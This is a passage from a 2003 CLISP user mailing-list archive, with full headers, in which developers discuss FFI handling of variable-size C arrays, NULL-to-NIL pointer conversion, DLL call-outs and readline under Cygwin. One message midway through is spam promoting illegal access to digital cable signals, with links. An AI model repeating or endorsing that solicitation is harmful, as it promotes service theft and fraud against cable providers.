return vector element to a single-float, I get *** - floating point underflow something is terribly wrong... -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) From sigurd@12move.de Mon Aug 04 15:27:09 2003 Received: from relay1.tiscali.de ([62.26.116.129] helo=webmail.tiscali.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jnnJ-0006Ni-00 for ; Mon, 04 Aug 2003 15:27:09 -0700 Received: from wintendo.pflaesterer.de (62.246.53.214) by webmail.tiscali.de (6.7.019) id 3F28E205001500F8 for clisp-list@lists.sourceforge.net; Tue, 5 Aug 2003 00:27:03 +0200 Received: from localhost (HELO windoof) [127.0.0.1] by wintendo.pflaesterer.de (127.0.0.1) with ESMTP (Classic Hamster Version 2.0 Build 2.0.2.1) ; Tue, 05 Aug 2003 00:26:17 +0200 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp (cvs) cygwin and readline From: sigurd@12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=) In-Reply-To: (Sam Steingold's message of "03 Aug 2003 09:32:47 -0400") Message-ID: References: X-Face: #iIcL\6>Qj/G*F@AL9T*v/R$j@7Q`6#FU&Flg6u6aVsLdWf(H$U5>:;&*>oy>jOIWgA%8w* A!V7X`\fEGoQ[@D'@i^*p3FCC6&Rg~JT/H_*MOX;"o~flADb8^ Organization: Lemis World Mail-Copies-To: never Mail-Followup-To: clisp-list@lists.sourceforge.net User-Agent: Gnus/5.1003 (Gnus v5.10.3) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 4 15:28:02 2003 X-Original-Date: Tue, 05 Aug 2003 00:26:18 +0200 On 3 Aug 2003, Sam Steingold <- sds@gnu.org wrote: >> * Honorable sigurd@12move.de (Karl Pfl=E4sterer) writes: >> | /* CL_READLINE */ >> | /* Define if you have a recent readline (4+). */ >> | #define HAVE_READLINE 1 > so you do have a working readline. Right. As I wrote other programs (like guile, python or the bash use it also). >> | configure:23430: gcc -o conftest.exe -g -O2 conftest.c -lncurses >&5 >> | /c/WINDOWS/TEMP/ccKd7JgM.o(.text+0x16): In function `main': >> | /tmp/clisp/configure:23599: undefined reference to `_readline' >> | collect2: ld returned 1 exit status > look below - you will see success with -lreadline. Right. > this usually means that CLISP thinks that it is not on a console. > see make_terminal_stream_() in src/tream.d. I must study that. > (./configure --with-debug --build build-g) > you will probably discover that same_tty is false. I will compile it again like that tommorrow. > why? > are you running on a cygwin xterm/rxvt? Yes (in rxvt). But I tried it also in a plain windows command.com. The same result. I will search further at least it works for most other people. Karl --=20 He took his vorpal sword in hand: Long time the manxome foe he sought-- So rested he by the Tumtum tree, And stood awhile in thought. "Lewis Carroll" "Jabberwocky" From don-sourceforge@isis.cs3-inc.com Mon Aug 04 21:43:06 2003 Received: from isis.cs3-inc.com ([207.224.119.73]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jtf8-0005C5-00 for ; Mon, 04 Aug 2003 21:43:06 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h754fBW02585; Mon, 4 Aug 2003 21:41:11 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16175.13671.142761.85668@isis.cs3-inc.com> To: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] default settings of *load-compiling* and *print-pretty* In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 4 21:44:01 2003 X-Original-Date: Mon, 4 Aug 2003 21:41:11 -0700 > 1. Would people object if -C (*load-compiling*) were set (to true) by = > default? > 2. What about the default value of *print-pretty*? I'd much prefer *print-pretty* to have NIL as default value. Many bugs have been caused by the value defaulting to T. Probably by now all of my code that cares sets it to NIL but I imagine other people moving code from other implementations continue to run into this problem. From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 05 00:27:30 2003 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jwEC-0001IE-00 for ; Tue, 05 Aug 2003 00:27:28 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 5 Aug 2003 09:27:18 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 5 Aug 2003 09:27:17 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B8AD@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] FFI: variable size values MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 5 00:28:06 2003 X-Original-Date: Tue, 5 Aug 2003 09:27:14 +0200 Sam, Your attempt IMHO is a misleaded attempt at interfacing, so I'll not comment it further. For a solution to your interfacing problem, see my todays article "Re: FFI crash: what am I missing?!" >the return vector buf happens to be 0-filled. >on converting the first return vector element to a single-float, I get >*** - floating point underflow Really? Here I obtain [55]> (with-c-var (x 'uint32 0) (cast x 'ffi:single-float)) 0.0 [58]> (with-c-var (x 'uint64 0) (cast x 'ffi:double-float)) 0.0d0 But I don't know what the (IEEE) floating-point representation of 0.0 is (i.e. whether it's all zero-bits, or if the mantissa must be something like #b10000000. That means I don't know whether the above cast can be expected to work -- at least on machines where (= (bitsizeof 'single-float) (bitsizeof 'uint32)) which CLISP checks inside the FFI:CAST operator. or whether it can produce a FP-underflow, depending on FP settings. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 05 01:53:33 2003 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jxZT-0000Wd-00 for ; Tue, 05 Aug 2003 01:53:31 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 5 Aug 2003 10:50:28 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 5 Aug 2003 10:50:28 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B8F7@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] FFI: variable size values (was FFI crash: what am I missing?!) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 5 01:54:04 2003 X-Original-Date: Tue, 5 Aug 2003 10:50:27 +0200 Hi, Sam wrote: >> >what is the correct idiom for the C "unknown type array"? >> >E.g., suppose >> > int* foo(); >> >will return the array of integers of size N, where N is the return >> >value of another function >> > int foo_size(); >> >how do I express foo() and foo_size() in CLISP FFI? >> >Suppose >> > int foo (int *size, int**arr); >> >returns status and puts the length of the array into `size' and the >> >pointer of the array into `arr'. >> >what is the correct CLISP FFI idiom? See answers below >what if, as in the first example, the size is returned by a _different_ >function?! That's why I said "the latter case" fits my (unwritten) macro. The former does not fit the one declaration per function" model, since the "transaction" (I name is so) is distributed across two calls. >> Explicit management using WITH-FOREIGN-OBJECT and friends is >> involved. >any cast requires equal memory size. I wrote in the past on the OFFSET solution. It looks like you have forgot about my article "FFI howto: variable length arrays (long)" from 5th of March 2003. http://sourceforge.net/mailarchive/forum.php?thread_id=1784502&forum_id=6767 http://sourceforge.net/mailarchive/forum.php?thread_id=1788500&forum_id=6767 >is a C wrapper the only solution? Not at all. Sometimes I recommend C wrappers to create an interface that better suits Lisp, but it is not strictly necessary. You can use the FFI to call any function and retrieve its results, writing Lisp code (be it less efficient because of run-time parsing (FFI:parse-c-type) and conversions (ffi:cast)). But see my below comment on the regexp case. >> A longer answer may follow tomorrow, I need to go home now. >biting my nails off :-) I hope you can still type in the following: The first foo You didn't say whether foo_size() has to be called before or after foo(). I'll call it afterwards, for similarity with the regexp module, where the number of the group positions can be read off a slot of the structure. BTW, the current CLISP regexp module arbitrarily limits the return to 10 group positions ("num-matches"), because it does not consider the re_nsub slot out off the regex_t structure. This is a case where I'd recommend a little C wrapper code to make interfacing easier. I very much prefer this over duplicating the regex_t structure in Lisp via (FFI:C-STRUCT ). I don't want to have to maintain this by hand, whereas the C wrapper would always stay in sync with the C regex.h header by mere recompilation. (def-call-out %foo1 (:name "foo") (:return-type c-pointer) (:language :stdc)) (defun foo1 () (let ((ptr (%foo1))) (when ptr ;; c-pointer type will return NIL for NULL in the near future (with-c-var (array 'c-pointer ptr) (cast array `(c-ptr (c-array sint ,(foo-size)))))))) The second foo I take it that foo2 allocates the buffer it returns via arr . Who must free it? Also you don't say whether it's :in-out or :out, so I take :out only. However it's common for the buffer to be supplied by the caller, with a maximum size provided by the size argument as an :in-out parameter. The C declaration you supply doesn't tell the difference, and the below code covers the other case. Here's what the macro call might like (def-call-var-out foo2 (:name "foo") (:arguments (size (c-ptr uint) :out) (arr (c-ptr (c-ptr (c-array sint size))) :out [:malloc-free])) (:guard (zerop return)) (:return-type int) (:language :stdc)) BTW, I recommend using unsigned types even though C people usually just use "int" (new-wave C people say "size_t"). E.g. size obviously should be unsigned. Here's what you do without the charming macro: (def-call-out %foo2 (:name "foo") (:arguments (size (c-ptr uint) :out) (arr (c-ptr c-pointer) :out)) (:return-type int) (:language :stdc)) (defun foo2 () (multiple-value-bind (status size array-ptr) (%foo2) (if (zerop status) (with-c-var (arr 'c-pointer array-ptr) (cast arr `(c-ptr (c-array sint ,size)))) ;; the macro would return (values status [size array]) (error "Call failed with status ~D" status)))) This costs a PARSE-C-TYPE for every call for both foo1 and foo2. My MEM-READ proposal could avoid that in some cases, depending on the type (so far only built-in-arrays of CLISP, i.e. uint8/16/32, but not sint8/16/32 are supported). (defun foo2 () (multiple-value-bind (status size array-ptr) (%foo2) (if (zerop status) (let ((vec (make-array size :element-type '(unsigned-byte 32)))) (mem-read array-ptr vec)) (error "Call failed with status ~D" status)))) (defun foo1 () (let ((ptr (%foo1))) (when ptr ;; c-pointer type will return NIL for NULL in the near future (let ((vec (make-array (foo-size) :element-type '(unsigned-byte 32)))) (mem-read ptr vec))))) My FOREIGN-VARIABLE constructor (design not yet finished) would allow to avoid WITH-C-VAR, but would still require PARSE-C-TYPE at run-time, allowing code similar to: (defun foo1 () (let ((ptr (%foo1))) (when ptr ;; c-pointer type will return NIL for NULL in the near future (foreign-value (foreign-address-variable ptr `(C-ARRAY SINT ,(foo-size))))))) or maybe I'll require an explicit call (foreign-address-variable ptr (parse-c-type `(C-ARRAY SINT ,(foo-size)))) It's a constructor after all, not a macro-level keep-typing-short sort of thing. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 05 02:16:32 2003 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19jxvi-0007QY-00 for ; Tue, 05 Aug 2003 02:16:30 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 5 Aug 2003 11:10:45 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 5 Aug 2003 11:10:45 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B905@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: c-pointer: NULL == NIL polymorphism MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 5 02:17:04 2003 X-Original-Date: Tue, 5 Aug 2003 11:10:44 +0200 Hi FFI users, >> Or allowing NIL for c-pointer (and return NIL for c-pointer >as NULL!), >> as I said would be ok in last week's e-mail. >Unless Bruno objects, I will make NIL a valid value for c-pointer and >interpret it as a NULL pointer, and convert NULL to NIL on return. >objections? I believe users should be told the reasons instead of just asking for hypothetical objections. A NULL<->NIL conversion when using C-POINTER acknowledges the fact that NULL *always* has a special meaning for a pointer type. So we consider it better (speaking of types) to return a "bottom" object of a different type (->NIL) than a foreign-pointer that would, a priori, allow dereferencing, causing a core dump. The immediate advantage to users is that whenever a function requires a C-POINTER, it may often be NULL, in which case NIL will be accepted by CLISP, while in the past, something like (unsigned-foreign-address 0) or something similar had to be written. The NIL->NULL change is compatible (unless you counted on your application to raise a type error). The NULL->NIL is not. CLISP already supports NULL<->NIL for the following types: C-FUNCTION and C-ARRAY-PTR. I think we should clearly say so in the impnotes. That does not mean that foreign-objects never point to 0 anymore. In fact, (unsigned-foreign-address 0) still returns #, not NIL. Sorry, I hope this detail will not confuse you -- I sometimes believe I should say less. Regards, Jorg Hohle. From sandersph@atilim.com.tr Tue Aug 05 06:50:52 2003 Received: from [206.128.199.130] (helo=servidor3.griffithlabpm.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19k2DE-00068m-00 for ; Tue, 05 Aug 2003 06:50:52 -0700 Received: from complex.is (202.106.160.133 [202.106.160.133]) by servidor3.griffithlabpm.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id Q2VQCVSB; Mon, 4 Aug 2003 14:52:50 -0500 Message-ID: <000048c24d2b$00001152$000053ae@dj.hu> To: Cc: , , , , , , , From: "Kelly Norris" MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Subject: [clisp-list] Improtant Forward26576 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 5 06:51:09 2003 X-Original-Date: Mon, 04 Aug 2003 12:46:31 -1900 This is not intended for illegal purposes or to defraud your cable company. Your Cable Company will do anything to Keep you from seeing This. Access any digital cable signal INSTANTLY. http://www.timelive.net/index.php?RepID=PW Due to to high volume of sales traffic this site may be unavailable from time to time so if you are unable to connect please try again later. If you no longer wish to receive our offerings You may opt-out by sending a email to: http://www.timelive.net/cleanlist.php From lisp-clisp-list@m.gmane.org Tue Aug 05 07:08:36 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19k2UM-00046C-00 for ; Tue, 05 Aug 2003 07:08:35 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19k2Tz-0003UC-00 for ; Tue, 05 Aug 2003 16:08:11 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19k2Ty-0003Tz-00 for ; Tue, 05 Aug 2003 16:08:10 +0200 From: Sam Steingold Organization: disorganization Lines: 15 Message-ID: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] truly dynamic FFI in CVS Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 5 07:09:11 2003 X-Original-Date: 05 Aug 2003 10:08:30 -0400 DEF-CALL-OUT supports a :LIBRARY option which accepts a dll: (def-call-out command-line (:name "GetCommandLineA") (:library "kernel32.dll") (:arguments) (:return-type ffi:c-string) (:language :stdc)) (print (command-line)) "d:/gnu/clisp/current/build-g-mingw/base/lisp.exe -B d:/gnu/clisp/current/build-g-mingw -M d:/gnu/clisp/current/build-g-mingw/base/lispinit.mem -N d:/gnu/clisp/current/build-g-mingw/locale -q -norc" please try this on unix and win32 and report your experience. -- Sam Steingold (http://www.podval.org/~sds) running w2k Takeoffs are optional. Landings are mandatory. From lisp-clisp-list@m.gmane.org Tue Aug 05 07:23:33 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19k2ip-0007zF-00 for ; Tue, 05 Aug 2003 07:23:31 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19k2WC-0003aM-00 for ; Tue, 05 Aug 2003 16:10:28 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19k2Ov-0003Hw-00 for ; Tue, 05 Aug 2003 16:02:57 +0200 From: Sam Steingold Organization: disorganization Lines: 37 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B905@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: c-pointer: NULL == NIL polymorphism Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 5 07:24:05 2003 X-Original-Date: 05 Aug 2003 10:03:17 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B905@G8PQD.blf01.telekom.de> > * On the subject of "Re: c-pointer: NULL == NIL polymorphism" > * Sent on Tue, 5 Aug 2003 11:10:44 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > >> Or allowing NIL for c-pointer (and return NIL for c-pointer > >as NULL!), > >> as I said would be ok in last week's e-mail. > >Unless Bruno objects, I will make NIL a valid value for c-pointer and > >interpret it as a NULL pointer, and convert NULL to NIL on return. > >objections? > > I believe users should be told the reasons instead of just asking for > hypothetical objections. good point. > A NULL<->NIL conversion when using C-POINTER acknowledges the fact > that NULL *always* has a special meaning for a pointer type. Actually, IIUC, C does not know the difference between an array and a pointer (as a function argument), so I don't really see why C-PTR and C-ARRAY do not accept NULL (=NIL) and thus make C-PTR-NULL and C-ARRAY-PTR necessary. > That does not mean that foreign-objects never point to 0 anymore. In fact, > (unsigned-foreign-address 0) still returns > #, not NIL. Actually, it might be a good idea to go for consistency and make (unsigned-foreign-address 0) return NIL. -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not worry about which side your bread is buttered on: you eat BOTH sides. From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 05 08:39:16 2003 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19k3u6-0008Fe-00 for ; Tue, 05 Aug 2003 08:39:14 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 5 Aug 2003 17:39:06 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 5 Aug 2003 17:39:06 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE05F4BA4B@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: c-pointer: NULL == NIL polymorphism MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 5 08:40:03 2003 X-Original-Date: Tue, 5 Aug 2003 17:39:05 +0200 Sam wrote: >Actually, IIUC, C does not know the difference between an array and a >pointer (as a function argument), that's IMHO a common misconception. > so I don't really see why C-PTR and >C-ARRAY do not accept NULL (=NIL) and thus make C-PTR-NULL and >C-ARRAY-PTR necessary. Think about c-ptr :out. Where's the argument? The current FFI types are carefully chosen so that SIZEOF is a total operation on them. SIZEOF obviously cannot work on variable sized arrays. >Actually, it might be a good idea to go for consistency and make >(unsigned-foreign-address 0) return NIL. Are you boycotting my work or what? I wrote (in clisp-devel) why I consider *not* retuning NIL in that case consistent. A # is also consistent with the update foreign-pointer API I talked about some month ago. Adding NIL special cases is superfluous there. Let NIL live in the context of C-POINTER (and C-FUNCTION, C-ARRAY-PTR). There's still a place for # when dealing with addresses. I agree that users may not be too happy with the CLISP FFI because it hinders common patterns. That should not make them forget that it's one of the most expressive (or at least, precise) ones -- if that doesn't seem like a contradiction to you. One key point to realize is: CLISP's FFI is able to work on as low a level as e.g. Allegro's, Lucid's, UFFI's etc. You just use C-POINTER almost everywhere and forget about :out, :in-out, , C-PTR etc. and all this declarative comfort stuff. Just program as if you were using C. That's how I proceed every time when CLISP's high-level FFI doesn't match the interface requirements, e.g. with variable sized arrays (cf. today's sample code). My (unwritten) DEF-LIB-VAR-CALL macro could help with variable-sized arrays in some situations, but it still fails to cover your "array size is indicated by another function" example. But that's what I've experienced for every abstraction: it catches some situations/scenarios and fails to cover others. Lucky when it works. Maybe instead of a macro, I should write a pattern/HOWTO instead. I've published instances of the macro expansion several times now, right here. Actually, one may claim that it's the CLISP FFI's precision which hinders typical C usage. Because e.g. C declarations don't make a difference between C-PTR and C-PTR-NULL etc. and one has to read each individual manpage to know where NULL is allowed and where not. E.g. char** provides for two pointer locations, both can be NULL, depending on the particular function. CLISP's FFI doesn't catch this well enough. A conclusion could be: CLISP's FFI is not particularly well-suited for C style declarations. It's much better suited for COM/IDL kind of interface descriptions. Those are far more precise. Furthermore, interfaces across networks tend to be much more regular (:out is out, not "half in maybe out" as in the ** example). Once again, I recommend reading http://research.microsoft.com/Users/simonpj/Papers/papers.html H/Direct: A Binary Foreign Language Interface for Haskell I recommend learning about distributed programming, even if writing non-distributed applications. It's like when people say knowing about Lisp makes you a better C/Java/xyz programmer. Open you horizon, said some of the old greek (but that was heavily debated back then). For one year and a half, I've tried to explain people how to use and put something (the FFI) to its full potential which I have not even designed nor written. I designed the AFFI. My aproach since then has been to evolutionary bring the CLISP FFI close to the dynamics requirements I experienced using the AFFI and what I felt would be useful extensions (hence WITH-FOREIGN-OBJECT, dynamic library patch etc.), not to throw it away and replace the FFI by e.g. CMUCL's (whose syntax I prefer), revolutionarily. Regards, Jorg Hohle. From lisp-clisp-list@m.gmane.org Tue Aug 05 09:33:45 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19k4kq-0002HK-00 for ; Tue, 05 Aug 2003 09:33:44 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19k4kS-0000kQ-00 for ; Tue, 05 Aug 2003 18:33:20 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19k4kR-0000kE-00 for ; Tue, 05 Aug 2003 18:33:19 +0200 From: Sam Steingold Organization: disorganization Lines: 46 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B8F7@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: FFI: variable size values (was FFI crash: what am I missing?!) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 5 09:34:07 2003 X-Original-Date: 05 Aug 2003 12:33:39 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B8F7@G8PQD.blf01.telekom.de> > * On the subject of "FFI: variable size values (was FFI crash: what am I missing?!)" > * Sent on Tue, 5 Aug 2003 10:50:27 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > > (def-call-out %foo1 (:name "foo") > (:return-type c-pointer) (:language :stdc)) > (defun foo1 () > (let ((ptr (%foo1))) > (when ptr ;; c-pointer type will return NIL for NULL in the near future > (with-c-var (array 'c-pointer ptr) > (cast array `(c-ptr (c-array sint ,(foo-size)))))))) my problem was two-fold: 1. I was calling "foo" incorrectly (before the right things were initialized) 2. I did not realize that CAST does not work with WITH-FOREIGN-OBJECT but needs a WITH-C-VAR. thanks a lot! the demo now works... got to get to the real stuff... > I take it that foo2 allocates the buffer it returns via arr . Who must > free it? whoever creates the data, frees it. this is what netica API does. IMNSHO everything else is _WRONG_. (who invented putenv()?!) > Also you don't say whether it's :in-out or :out, so I take :out only. correct. > However it's common for the buffer to be supplied by the caller, with > a maximum size provided by the size argument as an :in-out parameter. this would be nice to have too - other functions display this behavior. (your "compress" text helps!) -- Sam Steingold (http://www.podval.org/~sds) running w2k nobody's life, liberty or property are safe while the legislature is in session From lisp-clisp-list@m.gmane.org Tue Aug 05 09:41:08 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19k4ry-0004Wt-00 for ; Tue, 05 Aug 2003 09:41:06 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19k4ra-000114-00 for ; Tue, 05 Aug 2003 18:40:42 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19k4cl-0000RI-00 for ; Tue, 05 Aug 2003 18:25:23 +0200 From: Sam Steingold Organization: disorganization Lines: 31 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE05F4B8AD@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: FFI: variable size values Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 5 09:42:02 2003 X-Original-Date: 05 Aug 2003 12:25:43 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE05F4B8AD@G8PQD.blf01.telekom.de> > * On the subject of "FFI: variable size values" > * Sent on Tue, 5 Aug 2003 09:27:14 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Your attempt IMHO is a misleaded attempt at interfacing, so I'll not > comment it further. Jorg, __PLEASE__ do explain to 